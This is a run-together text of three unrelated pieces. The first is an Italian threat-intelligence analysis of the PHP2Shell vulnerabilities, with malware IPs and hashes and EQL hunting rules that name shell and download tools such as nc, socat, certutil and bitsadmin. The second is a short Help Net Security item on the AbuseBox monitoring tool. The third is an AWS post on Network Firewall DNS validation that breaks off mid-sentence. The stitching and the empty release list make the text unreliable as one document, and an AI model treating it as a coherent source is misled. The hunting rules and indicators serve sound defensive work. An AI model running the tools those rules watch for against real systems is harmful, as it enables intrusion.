PHP2Shell. L’analisi, aggiornata al 27 ottobre 2026, consolida 67 osservabili , distinguendo evidenze di esecuzione, attività offensive documentate e informazioni contestuali utili alle indagini. Il risultato non è una lista di 67 sistemi compromessi, né un censimento di attacchi riusciti. È un insieme strutturato di elementi investigativi la cui interpretazione dipende dalla qualità delle evidenze disponibili. Le vulnerabilità: corruzione della memoria e stato globale non valido La prima vulnerabilità riguarda la gestione delle condizioni di esaurimento della memoria. PHP utilizza meccanismi di interruzione del flusso di esecuzione, tra cui longjmp(), per gestire determinati errori fatali. Quando l’esaurimento della memoria interrompe una fase in cui alcune strutture interne non sono state completamente inizializzate, la successiva procedura di cleanup può accedere a uno stato non valido. In condizioni sfruttabili, questa situazione può condurre a corruzione della memoria ed esecuzione di codice non autorizzato [1]. CVE-2026-109619: riferimenti persistenti a memoria già liberata La seconda vulnerabilità interessa la gestione di variabili e strutture globali che possono conservare riferimenti a memoria appartenente a richieste precedenti. Se lo stato globale non viene correttamente ripristinato, una richiesta successiva può accedere a regioni di memoria non più valide. Il problema può facilitare condizioni di accesso improprio alla memoria e, in scenari sfruttabili, esecuzione remota di codice [2]. Versioni interessate e correzioni Le release PHP corrette pubblicate il 21 ottobre sono: Le versioni precedenti alle rispettive release corrette risultano vulnerabili secondo gli advisory upstream. Le distribuzioni che utilizzano backport di sicurezza richiedono una verifica specifica del pacchetto installato. Per le versioni non più supportate dal progetto PHP occorre valutare gli aggiornamenti del distributore, eventuali servizi di supporto esteso oppure la migrazione. L’esposizione non è uniforme in tutte le architetture. Apache con mod_php rappresenta uno degli scenari di maggiore interesse, poiché sono stati dimostrati percorsi di sfruttamento che intervengono prima dell’esecuzione del codice applicativo. Altri modelli, tra cui PHP-FPM, PHP-CGI, FrankenPHP e LiteSpeed, richiedono una valutazione delle rispettive condizioni di sfruttabilità. La presenza di un runtime vulnerabile non dimostra che un sistema sia già stato attaccato o compromesso. La cronologia: dalle prime attività alla prova di esecuzione 17 ottobre 2026 — Attività precedente alla divulgazione Amazon Threat Intelligence individua attraverso la rete MadPot tentativi compatibili con PHP2Shell. L’attività precede di quattro giorni il rilascio pubblico delle correzioni. L’origine attraverso infrastrutture di anonimizzazione e la natura delle richieste indicano un’attività sospetta, senza consentire di stabilire come gli operatori avessero ottenuto le informazioni tecniche in anticipo [3]. 21 ottobre 2026 — Disclosure e aggiornamenti Il progetto PHP pubblica le release di sicurezza. Nelle ore precedenti e successive emergono strumenti di scansione, proof of concept e ulteriori tentativi osservati da fornitori di sicurezza e infrastrutture di monitoraggio [1, 2, 9]. 22 ottobre 2026 — Tentativi di distribuzione malware Sophos e Arctic Wolf descrivono attività offensive associate a payload riconducibili a Potassium, variante con caratteristiche derivate da Mirai. La presenza di payload e infrastrutture C2 non dimostra automaticamente l’installazione del malware sui sistemi bersaglio [5, 6]. 24 ottobre 2026 — Evidenza di esecuzione su honeypot Il ricercatore 0x4D31 pubblica un dataset che collega traffico HTTP, log Apache/PHP, PCAP e telemetria Tetragon. Vengono documentate 35 esecuzioni di /bin/sh su tre ambienti honeypot PHP intenzionalmente vulnerabili [4]. 25 ottobre 2026 — Rettifica dell’attribuzione Unit 42 ritira una precedente attribuzione che collegava un incidente presso un ente governativo europeo alle specifiche vulnerabilità PHP2Shell. L’incidente era osservato nel contesto di un’applicazione PHP vulnerabile, ma le evidenze non erano sufficienti per confermare che l’accesso iniziale fosse avvenuto attraverso le due CVE [11]. Anche Sophos aveva corretto il 22 ottobre una propria valutazione iniziale relativa a una compromissione presso un cliente, precisando che la telemetria disponibile documentava scansioni e tentativi falliti [5]. La solidità di un rapporto tecnico dipende anche dalla capacità di correggere le attribuzioni quando le evidenze non le sostengono. Le 35 shell: cosa dimostrano realmente gli honeypot Il rapporto tecnico pubblicato il 24 ottobre da 0x4D31 presenta una catena probatoria particolarmente interessante, basata su tre target PHP configurati come honeypot (T1, T2 e T3), con PHP 8.4.26, Apache mod_php e un limite di memoria PHP di 128 MiB [4]. La ricerca ha correlato 35 richieste HTTP della fase finale dell’ exploit con 35 eventi di avvio di /bin/sh, generati direttamente da processi Apache. Le esecuzioni sono documentate mediante packet capture e telemetria del sistema operativo. Il dataset include eventi di creazione dei processi, relazioni padre-figlio, richieste HTTP e informazioni temporali. In diversi casi i comandi eseguiti hanno invocato utility come id, PHP CLI e curl, producendo ulteriori elementi di conferma. Questo consente di superare la semplice osservazione di richieste anomale o di errori applicativi. Una richiesta HTTP sospetta non prova l’esecuzione remota di codice; un errore PHP di memoria esaurita non costituisce, da solo, prova di compromissione. Nemmeno un crash del worker Apache consente automaticamente tale conclusione. La presenza di una shell avviata dal processo web, temporalmente correlata alla richiesta di exploitation, costituisce invece un’evidenza endpoint molto più forte. Questi eventi riguardano sistemi honeypot deliberatamente vulnerabili, non ambienti produttivi di organizzazioni terze. I due indirizzi IP individuano due gruppi di traffico, non necessariamente due attori indipendenti. La somiglianza dei payload non basta ad attribuire un controllo comune. Il materiale è coerente con una catena di sfruttamento associata a CVE-2026-109618 . Non permette, da solo, di dimostrare lo sfruttamento di un percorso indipendente e specifico di CVE-2026-109619 . La sequenza tecnica osservata A1 — Memory pressure. Una richiesta HTTP multipart provoca una condizione di esaurimento della memoria nel processo PHP. B1 — Memory disclosure. Una seconda richiesta produce una risposta contenente dati anomali nel valore di sessione, utilizzabili per inferire informazioni sulla memoria del processo. A2 — Ulteriore memory pressure. Una successiva richiesta prepara lo stato necessario allo sfruttamento. B2 — Execution stage. Una richiesta finale, adattata alle informazioni raccolte, conduce all’avvio di una shell nei casi documentati. In alcune sequenze il worker Apache termina successivamente per segmentation fault. La combinazione tra disclosure della memoria e successivo adattamento del payload è significativa perché dimostra la possibilità di superare, in quelle specifiche condizioni sperimentali, ostacoli introdotti dalla randomizzazione dello spazio di indirizzamento. Le condizioni operative del test non autorizzano a generalizzare la stessa probabilità di successo a tutte le installazioni PHP [4]. Potassium: il malware collegato ai tentativi Parallelamente alla diffusione degli exploit, diversi ricercatori hanno osservato attività orientate alla distribuzione di malware. Un caso riguarda Potassium, famiglia con caratteristiche riconducibili all’ecosistema Mirai [5, 6]. I campioni analizzati presentano funzionalità di downloader, comunicazione con infrastrutture remote e capacità di condurre attacchi di interruzione del servizio. Tra gli indirizzi associati all’infrastruttura figurano 134.199.154.64 e 117.55.202.115. Ulteriori indicatori comprendono domini di staging e URL destinati al recupero di payload. L’interesse investigativo riguarda la possibile concatenazione tra accesso iniziale, esecuzione di codice, download di un componente secondario e successiva attività malevola. Nel caso documentato da Sophos, tuttavia, l’analisi successiva ha stabilito che il tentativo non aveva prodotto l’installazione del malware sul sistema cliente [5]. Gli hash pubblicati identificano campioni analizzati, non file necessariamente trovati su vittime compromesse. La disponibilità di un malware e l’osservazione di un tentativo di consegna non dimostrano il completamento della catena d’infezione. La nostra analisi CTI: 67 osservabili e tre livelli probatori Il consolidamento ha prodotto un dataset di 67 indicatori e artefatti tecnici, selezionati e contestualizzati attraverso fonti pubbliche. La classificazione non è costruita esclusivamente sulla reputazione dell’indirizzo, sull’origine dell’infrastruttura o sulla pericolosità presunta del contenuto: il criterio è la relazione documentabile tra l’osservabile e uno specifico evento. Livello A: evidenza diretta nell’ambiente osservato Comprende indirizzi sorgente associati alle 35 shell, un endpoint di callback, un boundary HTTP ricorrente e 16 digest dei corpi multipart della fase di esecuzione. Non rappresenta 20 compromissioni indipendenti. La classificazione descrive il collegamento dell’elemento a episodi di RCE documentati sui target di ricerca. Livello B: attività offensiva e infrastruttura Raccoglie IP di scansione, tentativi di exploitation, server associati a payload, domini e hash dei campioni Potassium. La presenza di questi indicatori in una rete richiede approfondimento, ma non certifica il successo dell’attacco. Livello C: contesto investigativo Include User-Agent, boundary multipart, marker di validazione, strumenti ospitati su server esposti e digest appartenenti a fasi preliminari dell’exploit. Sono elementi utili per riconoscere pattern di attività o collegare eventi, ma alcuni sono aspecifici e producono falsi positivi se interpretati isolatamente. La confidenza elevata attribuita alla pubblicazione di un osservabile indica che la fonte ne documenta l’esistenza; non significa che qualsiasi corrispondenza rappresenti un incidente . Dall’indicatore alla detection: il ruolo del SOC Una delle principali criticità operative è la tendenza a trasformare automaticamente gli indicatori CTI in regole di blocco. Un IP associato a una scansione può appartenere a un’infrastruttura condivisa, a un provider di hosting o a una rete di anonimizzazione. Una corrispondenza su un User-Agent può rappresentare una scansione autorizzata oppure una stringa imitabile. Un digest di payload HTTP può identificare una richiesta già osservata senza dimostrare che il comando associato sia stato eseguito. Il rapporto propone un approccio di detection engineering basato sulla correlazione tra rete, applicazione ed endpoint . Hunting sui log PHP Tra i segnali tecnici figura la combinazione tra errore fatale PHP, esaurimento della memoria e stringa Unknown on line 0. Un esempio preliminare KQL per Elastic Security, da adattare ai dataset disponibili, è: message: “PHP Fatal error” and message: “Allowed memory size” and message: “Unknown on line 0” Elastic ha pubblicato una regola denominata Potential PHP2Shell Exploitation Attempt, orientata al riconoscimento del caratteristico errore OOM. La regola identifica possibili tentativi, non costituisce una prova autonoma di esecuzione remota [10]. Hunting comportamentale su Linux La telemetria di processo può rilevare l’avvio di shell, interpreti o utility di rete da parte dei processi web. Esempio EQL: process where host.os.type == “linux” and   event.type == “start” and   process.parent.name : (“apache2″,”httpd”,”php-fpm*”,     “php”,”php-cgi”,”nginx”,”lsphp*”) and   process.name : (“sh”,”bash”,”dash”,”curl”,”wget”,     “python*”,”perl”,”nc”,”socat”) La logica ricerca comportamenti compatibili con attività post-exploitation e non è limitata a PHP2Shell. Hunting comportamentale su Windows Su Windows l’attenzione deve concentrarsi sulle relazioni tra i processi web e gli interpreti di comando o le utility utilizzabili per attività successive all’accesso iniziale. Esempio EQL: process where host.os.type == “windows” and   event.type == “start” and   process.parent.name : (“w3wp.exe”,”php.exe”,     “php-cgi.exe”,”httpd.exe”,”nginx.exe”) and   process.name : (“cmd.exe”,”powershell.exe”,”pwsh.exe”,     “certutil.exe”,”bitsadmin.exe”,”curl.exe”,”mshta.exe”) Entrambe le ricerche richiedono copertura EDR, normalizzazione ECS e validazione sui comportamenti legittimi dell’organizzazione. Il valore della correlazione Una sequenza investigativa di particolare interesse comprende: Richiesta HTTP multipart sospetta. Errore di memoria PHP durante l’inizializzazione della richiesta. Eventuale disclosure di dati di sessione o crash del worker. Creazione inattesa di una shell da parte del processo web. Esecuzione di comandi di ricognizione o utility di rete. Connessioni outbound e modifiche del filesystem. Maggiore è il numero di evidenze indipendenti temporalmente coerenti, più solida diventa la valutazione. Gli access log standard non contengono necessariamente gli header completi o i corpi multipart necessari a identificare i fingerprint descritti. Occorre verificare quali informazioni siano realmente disponibili tramite WAF, CDN, reverse proxy, log applicativi e sensori di rete. Il runbook proposto per SOC e CSIRT 1. Identificazione dell’esposizione. Inventariare runtime PHP, versioni, configurazioni web server, prodotti embedded e backport. Dare priorità agli asset Internet-facing. 2. Preservazione delle evidenze. Per eventi sospetti conservare log HTTP, PHP error, EDR, eventi processo, connessioni rete, file ed eventuali evidenze volatili. 3. Correlazione temporale. Ricostruire richieste, risposte, PID dei worker e processi figli. Verificare il client IP reale attraverso i proxy attendibili. 4. Classificazione dell’evento. Separare scansione, tentativo, possibile memory disclosure, RCE verificata e successivo impatto. 5. Remediation. Installare le versioni corrette o gli aggiornamenti con backport verificato. Impiegare WAF come controllo aggiuntivo, non sostitutivo delle patch. 6. Revalidazione. Verificare aggiornamenti, copertura dei sensori ed eseguire retro-hunt a partire almeno dal 17 ottobre 2026. Gli indicatori A meritano hunting prioritario, senza escalation automatica in assenza di riscontri locali. Gli osservabili B richiedono enrichment e correlazione, con blocchi selettivi previa valutazione del rischio. Gli elementi C costituiscono soprattutto supporto investigativo e per le ricerche retrospettive. Le infrastrutture complesse e il problema del patching La diffusione di PHP in applicazioni web, piattaforme legacy e prodotti embedded rende la gestione di PHP2Shell un problema trasversale. Non è sufficiente interrogare la versione del linguaggio installata sui server più visibili. Occorre considerare componenti applicative non censite, istanze secondarie, ambienti di test raggiungibili dall’esterno, dipendenze di terze parti e runtime distribuiti insieme ad altri prodotti. In ambienti complessi, tra cui organizzazioni pubbliche e infrastrutture con numerosi fornitori, il problema principale può essere la conoscenza incompleta della superficie applicativa. Il rischio è aggravato dalla differenza tra disponibilità della patch e applicazione effettiva. Le evidenze precedenti al 21 ottobre mostrano anche che la finestra investigativa non deve iniziare necessariamente dalla disclosure ufficiale: occorre includere eventi antecedenti quando esistono indicatori attendibili di tentativi osservati durante il periodo di embargo. Conclusioni: la CTI deve produrre evidenza, non soltanto allarmi PHP2Shell rappresenta un caso significativo non soltanto per la gravità delle vulnerabilità, ma per la rapidità con cui la comunità ha prodotto osservazioni, strumenti e valutazioni differenti. I tentativi offensivi sono documentati anche prima della divulgazione. Esistono infrastrutture e campioni malware collegati alle attività osservate. La ricerca su honeypot ha dimostrato esecuzioni remote di codice in specifiche condizioni sperimentali. Non è invece corretto trasformare queste evidenze in una dichiarazione generalizzata di compromissioni produttive attribuite alle due vulnerabilità. Le rettifiche dei ricercatori devono essere incorporate nelle analisi successive, evitando che informazioni superate continuino a circolare come fatti accertati. Il nostro dossier CTI nasce da questa impostazione: ogni osservabile deve essere accompagnato da contesto, provenienza e livello probatorio. Per un SOC , un CSIRT o un team di Incident Response, il valore dell’intelligence non coincide con il numero di IOC raccolti. Coincide con la capacità di utilizzarli per formulare ipotesi verificabili, individuare anomalie significative e ricostruire, quando possibile, una catena di evidenza. È questa la differenza tra identificare un tentativo di attacco e dimostrare una compromissione. Appendice tecnica — Dataset CTI PHP2Shell Snapshot del 27 ottobre 2026. Gli indicatori sono destinati ad attività di hunting, enrichment e correlazione; non rappresentano una blocklist da distribuire indiscriminatamente. Le classificazioni A/B/C si riferiscono agli eventi documentati, non a proprietà permanenti dell’indicatore. A. Indirizzi IPv4 B. Domini, URL ed endpoint Non visitare o eseguire gli URL da dispositivi di lavoro. Infrastrutture e indirizzi potrebbero essere stati modificati o riassegnati dopo il periodo osservato. C. Hash malware Potassium SHA-256 · Campione 1 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486 MD5 · Stesso campione b61a098fc62a2c2696e196dca78da71a SHA-1 · Stesso campione c472dab4ff7c16782a8037f988d4daa6d4bdb343 SHA-256 · Campione 2 e2529d4afa39ae4db2eb05d5176317c906289abf09660c75bdeec43e54c55aa3 I primi tre hash si riferiscono allo stesso campione. Gli hash di file sono indicatori di malware analizzato, non prova di installazione su un host produttivo. Tutti sono di livello B. D. Fingerprint HTTP e indicatori contestuali Il boundary CCCCCCCCCC è presente nel traffico che ha prodotto RCE sugli honeypot, ma è generico e, isolatamente, comporta alto rischio di falsi positivi. Header, marker e valori multipart possono non essere acquisiti dai normali access log. E. Digest SHA-256 dei corpi HTTP multipart I 19 SHA-256 che seguono riguardano corpi HTTP multipart decodificati e NON file malware. Il confronto richiede PCAP o telemetria WAF/reverse proxy con body completo e normalizzazione coerente con quella del rapporto originale [4]. Tre digest preliminari — livello C A1 · Memory pressure 8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6 B1 · Memory disclosure b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2 A2 · Memory pressure 7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236 Sedici digest della fase B2 — livello A 01   e538361aa02f01bb9e00f53d2107eb1369f778203033e08506496a767c0e4abc 02   aab24fa5ec0df76f731c1ea4bac9fd36aa350eef9a42c33315e485178e1e5892 03   b8a67dc5173272afd95cd603b2bd7b49bb6e0900af53237096b8caf9fd48ca97 04   567659d699213c360e4598c257c40260cf0d7b1377e4a25851ca3f59a427899c 05   a744539cce8295ac07ca70fd5eab9601ef79fb62f142749373d855033fb101e0 06   675647c9919681e3f6a58c54be30a22942b523e036ee53f0e4fdccf22a506408 07   d2d86024e947cbdcecb725e3dae4930579b28f23bff80eedaad6b3f11544bcff 08   dcb4e2b4f6879827222d0bb5efa14dc838357251880302401bc8702bb3085370 09   b8e69e39c49c986a6edae77f08b11be1ab1675d4fda6c05dcf0628149eefbd06 10   c1263f68fcb9565dc3b162481574ed6f64ad11436e654751a9da4644352bbcee 11   c61540651b07f744fa9d43ff326daa7a81c51f90ffdd05b28d1b552ade5320a4 12   c1fc4df4a886aff090471f27a40c29358444b3668257e1b2074577477ba2e36c 13   ff73391d30efd875a28c65178a59cacf6b933f911ae51654b2ffb4d4d3fe850a 14   23b0d9cb7dce28dbeb9749d2664eacd64474f7a4fab3c152747603c33214e58a 15   77afd5bf9c28069616b514a2955dbf52dc62e3b5c5c04c1e86c7a3c3fc5a5156 16   e5a9ca54352814eaefc2051013aa424d4e6fd780a2c0d1085fdd35eac392e5c4 Una corrispondenza su questi digest non certifica da sola l’esito RCE. Non convertirli in hash IOC file-based per EDR. F. Indicatori esclusi dal consolidamento Sono stati esclusi dieci elementi o categorie di elementi non sufficientemente specifici, non verificati indipendentemente oppure oggetto di rettifica. Tra questi figurano boundary sperimentali, indirizzi probabilmente riconducibili a scanner di ricerca, fingerprint confondibili con la distinta vulnerabilità WordPress WP2Shell e indicatori dell’incidente europeo per cui Unit 42 ha ritirato l’attribuzione. L’esclusione è parte integrante del metodo analitico: la presenza di un valore in una regola sperimentale o in una directory non basta a qualificarlo come IOC accertato. Bibliografia e fonti tecniche Riferimenti tecnici pubblici richiamati nell’articolo. Data di consultazione del dossier: 27 ottobre 2026. I collegamenti sono cliccabili; le date delle singole pubblicazioni sono riportate quando note. [1] PHP Development Team. (2026, 21 ottobre). RCE via OOM corruption (GHSA-w8hw-w9fx-j79w). GitHub Security Advisory. https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w [2] PHP Development Team. (2026, 21 ottobre). RCE via stale global state (GHSA-6wmf-4rv5-p3rp). GitHub Security Advisory. https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp [3] Amazon Threat Intelligence. (2026, 21 ottobre). Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot. AWS Security Blog. https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ [4] 0x4D31. (2026, 24 ottobre). PHP2Shell exploitation observed: Packet-to-process RCE evidence. GitHub. https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md [5] Sophos. (2026, ottobre). Proof-of-concept exploit released for PHP vulnerabilities ( CVE-2026-109618 , CVE-2026-109619 ). https://www.sophos.com/en-us/blog/proof-of-concept-exploit-released-for-php-vulnerabilities-109618-109619 [6] Arctic Wolf Labs. (2026, 22 ottobre). PHP2Shell: Critical PHP vulnerabilities enable unauthenticated remote code execution . https://arcticwolf.com/resources/blog/php2shell-critical-php-vulnerabilities-enable-unauthenticated-remote-code-execution/ [7] SOCRadar Threat Intelligence Unit. (2026, ottobre). PHP2Shell exploit tooling found on exposed attacker server. https://socradar.io/blog/php2shell-exploit-tooling-attacker-server/ [8] Hunt.io. (2026, 22 ottobre). Hunting leaked PHP2Shell RCE across open directories. https://hunt.io/blog/php2shell- CVE-2026-109618 -109619-open-directories [9] Fastly. (2026, ottobre). PHP2Shell: Finding the needles in a 250,000 request haystack. https://www.fastly.com/blog/how-fastly-detected-and-built-a-coordinated-response-to-php2shell [10] Elastic. (2026). Potential PHP2Shell exploitation attempt. Elastic Security. https://www.elastic.co/guide/en/security/8.19/prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt.html [11] Palo Alto Networks, Unit 42. (2026, aggiornamento 25 ottobre). Threat brief: Critical vulnerabilities in PHP— CVE-2026-109618 , CVE-2026-109619 . https://unit42.paloaltonetworks.com/ CVE-2026-109618 - CVE-2026-109619 / [12] Amazon Web Services. (2026, 21 ottobre). Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities. AWS Security Blog. https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities- CVE-2026-109618 -and- CVE-2026-109619 / [13] PHP Development Team. (2026). PHP release archive. https://www.php.net/archive/2026.php [14] CISA . (2026). Experimental SIGMA rule for PHP2Shell. GitHub. https://github.com/cisagov/SIGMA_Rules/blob/develop/CISA_SIGMA_261429_CVE_2026_109618-109619_PHP2Shell_TLP_CLEAR.yaml Nota metodologica Il presente articolo è una sintesi analitica indipendente basata su correlazione e classificazione di evidenze tecniche pubbliche. Non rappresenta un advisory ufficiale, non implica accesso diretto ai sistemi delle organizzazioni citate e non certifica compromissioni produttive in assenza di evidenze specifiche. Gli osservabili devono essere interpretati nel contesto temporale e tecnologico delle rispettive fonti. Il rapporto CTI originario e il dataset strutturato rimangono le fonti canoniche delle classificazioni. Autori: Agostino Pellegrino e Crescenzo Cuoppolo. Rapporto di riferimento: PHP2Shell — Dalla telemetria alla prova. IOC, catena di evidenza e detection engineering. Edizione indipendente del 27 ottobre 2026. L'articolo PHP2Shell: 67 indicatori, 35 esecuzioni di shell e il confine tra attacco e compromissione. L’analisi tecnica proviene da Red Hot Cyber .

AbuseBox: Open-source monitor for blacklists, DNS, SSL and email records AbuseBox is a free, open-source tool that checks IP addresses and domains against 60 DNS blacklists, pulls reputation scores from AbuseIPDB, inspects DNS, SSL and email-authentication records, and sends an alert when something changes. A DNS blacklist, or DNSBL, is a list that mail servers and other services consult when deciding whether to trust an address. The dashboard keeps one list of what needs attention: blacklist listings, expiring certificates and domains, servers that are down, and weak email security. That replaces running a blacklist lookup, a certificate check and a DNS query one at a time. What AbuseBox checks A single-host check scans 60 DNSBL providers and shows the AbuseIPDB reputation score alongside, which needs a free AbuseIPDB API key. DNS records, SSL certificates, WHOIS and server status work with no keys. The email check validates SPF, DKIM and DMARC records, which tell receiving servers which senders are legitimate, and grades them from A to F. The server-status check tests DNS resolution, ports 80 and 443, and HTTP response time. How you run it You register domains and IPs as assets, choose which checks run on each, and let the scheduler re-check them every 360 minutes by default. Alerts go out by email, Slack, Discord or a webhook for new listings, recoveries, outages and expiry warnings. Bulk checks take up to 300 hosts from a pasted list or a TXT, CSV or XLSX file, and subnet scans go up to a /24. Setup is Docker Compose: clone the repository, copy the example .env file, run docker compose up –build, and open localhost:3000. Fresh installs start with the login admin and password123, so change it at first sign-in. You can run the blacklist quick check without an account, limited to 10 requests per minute per IP address, and every other endpoint needs a token. The code is MIT licensed, written in Python with FastAPI and React, and stores data in SQLite. AbuseBox is available for free on GitHub. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

Your workloads reach most destinations by domain name, but a firewall can only act on what it sees in the traffic. For HTTP and HTTPS, AWS Network Firewall domain rules match the name that the client puts in the request, and the client chooses that name. The connections for protocols such as SSH and SSH File Transfer Protocol (SFTP) don’t carry the domain name. The client uses the name only for the DNS lookup and then connects straight to the IP address that DNS returned. As a result, Network Firewall rules for these protocols have used IP addresses, which change over time. For web and non-web traffic alike, Network Firewall had no view of the answers that your DNS resolver returned, because that shared visibility between DNS and the firewall didn’t exist. On October 21, 2026, we launched Route 53 Resolved IP Validation for AWS Network Firewall , at no additional charge. Amazon Route 53 Resolver now shares the IP addresses that it returns for each domain name with Network Firewall, and Network Firewall checks each new outbound connection against them. With this launch, you can now filter non-web traffic by domain name, and you can prevent Server Name Indication (SNI) manipulation on TLS traffic without needing to enable TLS inspection . In this post, we explain how the feature works, show how to turn it on in alert mode, and walk through two common use cases. They’re examples; the same check applies to any outbound traffic that you control by domain name. How it works Amazon Route 53 Resolver answers DNS queries from resources in your virtual private cloud (VPC) configured to use it, and it’s available by default in every VPC. With this feature, Route 53 Resolver keeps the IP addresses that it returns for each domain name in a resolved IP cache. When a new outbound connection starts, Network Firewall checks the destination address against that cache. The workload asks Route 53 Resolver at 10.0.0.2 for files.partner.example.com . DNS Firewall checks the query first. Domain rules can block or alert on it; an empty rule group lets it through. Route 53 Resolver answers 203.0.113.10 and records the answer in the resolved IP cache. The SFTP connection to 203.0.113.10 on port 22 reaches the Network Firewall endpoint. The policy checks the first packet. The address is in the cache, so the connection continues. The stateful rule passes it, because Route 53 Resolver returned the address for files.partner.example.com . The connection leaves through the NAT gateway and internet gateway. The flow log and alert log record the new fields. The feature has three parts: An Amazon Route 53 Resolver DNS Firewall rule group – It defines the scope. The answers that Route 53 Resolver returns in every VPC associated with this rule group go into the resolved IP cache. The rule group can be empty. Add rules to it and the same rule group also filters the DNS queries themselves, for example, by blocking lookups of known threat domains. Together, DNS Firewall checks the lookup and Network Firewall checks the connection that follows. The Network Firewall policy setting – On the first packet of each new connection, before your stateful rules run, Network Firewall checks whether Route 53 Resolver returned the destination address for a domain name. If it did, the connection continues to your stateful rules. If it didn’t, Network Firewall applies the action you chose: Alert, Drop, or Reject. Resolved-domain rules – In your stateful rule groups, these rules match a connection by the domain name that its destination address was resolved for, so they work with every protocol. Use the name that your clients look up. The following diagram shows this architecture. Figure 1. How Network Firewall checks the SFTP connection from use case 1 against the answers that Route 53 Resolver returned The policy setting checks every connection, not only web traffic. A connection to an IP address that no client looked up through Route 53 Resolver, such as a hardcoded address, fails the check. If any of your workloads connect straight to IP addresses, add those addresses to Bypass destination validation IP ranges before you enforce. A stateful pass rule doesn’t exempt them because the policy check runs before your rules. The check is per address: when any client in an associated VPC looks up a name, its addresses pass the check for every client in scope in the same Availability Zone. For details, see Resolved IP validation in AWS Network Firewall in the AWS Network Firewall Developer Guide. Prerequisites To follow along, you need: DNS through Amazon Route 53 Resolver – Network Firewall can check only answers that Route 53 Resolver returned. Queries that reach Route 53 Resolver through Resolver endpoints or Resolver forwarding rules count. A Route 53 Resolver DNS Firewall rule group associated with the VPCs whose DNS answers Network Firewall should check connections against. The policy setting turned on before you add resolved-domain rules – Rules that use domain filtering (the aws_route_53_resolved_domain keyword) need Route 53 Resolved IP Validation turned on in the same firewall policy. Turn the setting on first, in alert mode, then add the rules. A supported deployment model – The feature works with distributed deployments, including multiple firewall endpoints, where clients reach a firewall endpoint in their own Availability Zone, and with centralized deployments where the firewall is attached natively to AWS Transit Gateway . If routing sends a client to a firewall endpoint in another Availability Zone, its connections fail the check. To move a centralized deployment to a natively attached firewall, see Why and how to migrate to a Transit Gateway attached AWS Network Firewall . How to turn it on in alert mode Start in alert mode because clients cache DNS answers. Network Firewall recognizes only the answers that Route 53 Resolver returns after the DNS Firewall rule group is associated with the VPC and selected in the policy. A client that still uses an answer it cached earlier fails the check until it looks up the name again, usually when its cached record expires. Alert mode lets you see this without blocking anything. Allow about 24 hours in alert mode for clients to refresh their caches. Create a DNS Firewall rule group (it can be empty) and associate it with the VPCs whose DNS answers Network Firewall should check connections against. For the steps, see Creating a rule group and rules . Or, to use a DNS Firewall rule group that you already have, make sure it’s associated with those VPCs and only those. An answer returned in any associated VPC is valid for every client that the firewall checks. Which clients are checked is set by source IP ranges in step 6. In the Amazon Virtual Private Cloud (Amazon VPC) console, under Network Firewall , choose Firewall policies, then choose the policy that your firewall uses. On the Traffic inspection tab, in the Route 53 Resolved IP validation section, choose Edit and select Enable Route 53 Resolved IP validation . For Action , choose Alert . For DNS Firewall rule group , choose the rule group from step 1 or 2. For DNS expiry exception policy , choose what happens to a connection that’s already open when its entry expires from the resolved IP cache. Continue keeps it running, Drop stops it silently, and Reject stops it with a TCP reset. We recommend Continue so that long-running sessions, such as file transfers, aren’t cut off midway. However, choose the option that fits your security requirements. For source IP ranges, list the clients to check. If you don’t set it, Network Firewall checks clients in the firewall’s VPC and in any additional VPCs attached to the firewall. If your clients are in other VPCs, such as spoke VPCs that send traffic to a firewall attached to a transit gateway, enter their CIDR ranges; otherwise, Network Firewall doesn’t check their connections. Add destinations that you allow by IP address to Bypass destination validation IP ranges . Choose Save . The following screenshot illustrates these steps. Figure 2. Route 53 Resolved IP Validation turned on in alert mode In alert mode, Network Firewall doesn’t block a connection that fails the check, and it doesn’t write an alert of its own. It records the result in your flow logs, in the route53_resolved_ip field of each connection. A value of true means Route 53 Resolver returned the destination address for a domain name. A value of false means it didn’t, so enforcement would block the connection. The same field also appears in alert log records that a rule or the policy’s default action writes for the connection. Pass rules don’t write one unless they have the alert; keyword. The DnsUnresolvedFlows metric in Amazon CloudWatch counts the connections that fail the check, and DnsAzUnavailableFlows counts connections from an Availability Zone that doesn’t support the feature. The following alert log record (trimmed, with example values) was written by a default action that alerts, for a connection to an address that Route 53 Resolver returned: { "firewall_name": "egress-firewall", "availability_zone": "us-east-1a", "event": { "event_type": "alert", "src_ip": "10.0.1.10", "dest_ip": "203.0.113.10", "dest_port": 123, "proto": "UDP", "app_proto": "ntp", "route53_resolved_ip": true, "verdict": { "action": "alert" }, "alert": { "action": "allowed", "signature_id": 3, "signature": "aws:alert_established action" } } } In alert mode, this record is for a TLS connection that presented an allowed domain name but went to an address that Route 53 Resolver didn’t return for it, blocked by the policy’s default action in use case 2: { "firewall_name": "egress-firewall", "availability_zone": "us-east-1a", "event": { "event_type": "alert", "src_ip": "10.0.1.10", "dest_ip": "198.51.100.7", "dest_port": 443, "proto": "TCP", "app_proto": "tls", "tls": { "sni": "api.partner.example.com" }, "route53_resolved_ip": false, "verdict": { "action": "drop" }, "alert": { "action": "blocked", "signature": "aws:alert_established_app_layer_to_server action" } } } Before you switch Action to Drop or Reject , check that connections that fail the check are ones you expect and that destinations you allow by IP address are in the bypass ranges. Reject sends a TCP reset, so a blocked TCP client fails right away instead of waiting for a timeout. After you enforce, blocked connections appear in your flow logs with route53_resolved_ip as false , not in your alert logs. For the metrics and log fields to watch, see Monitoring and troubleshooting resolved IP validation . Use case 1: Filter non-web traffic by domain name Before this launch, Network Firewall rules for protocols that carry no domain name, such as SFTP, used IP addresses. Now, you can allow them by domain name. In 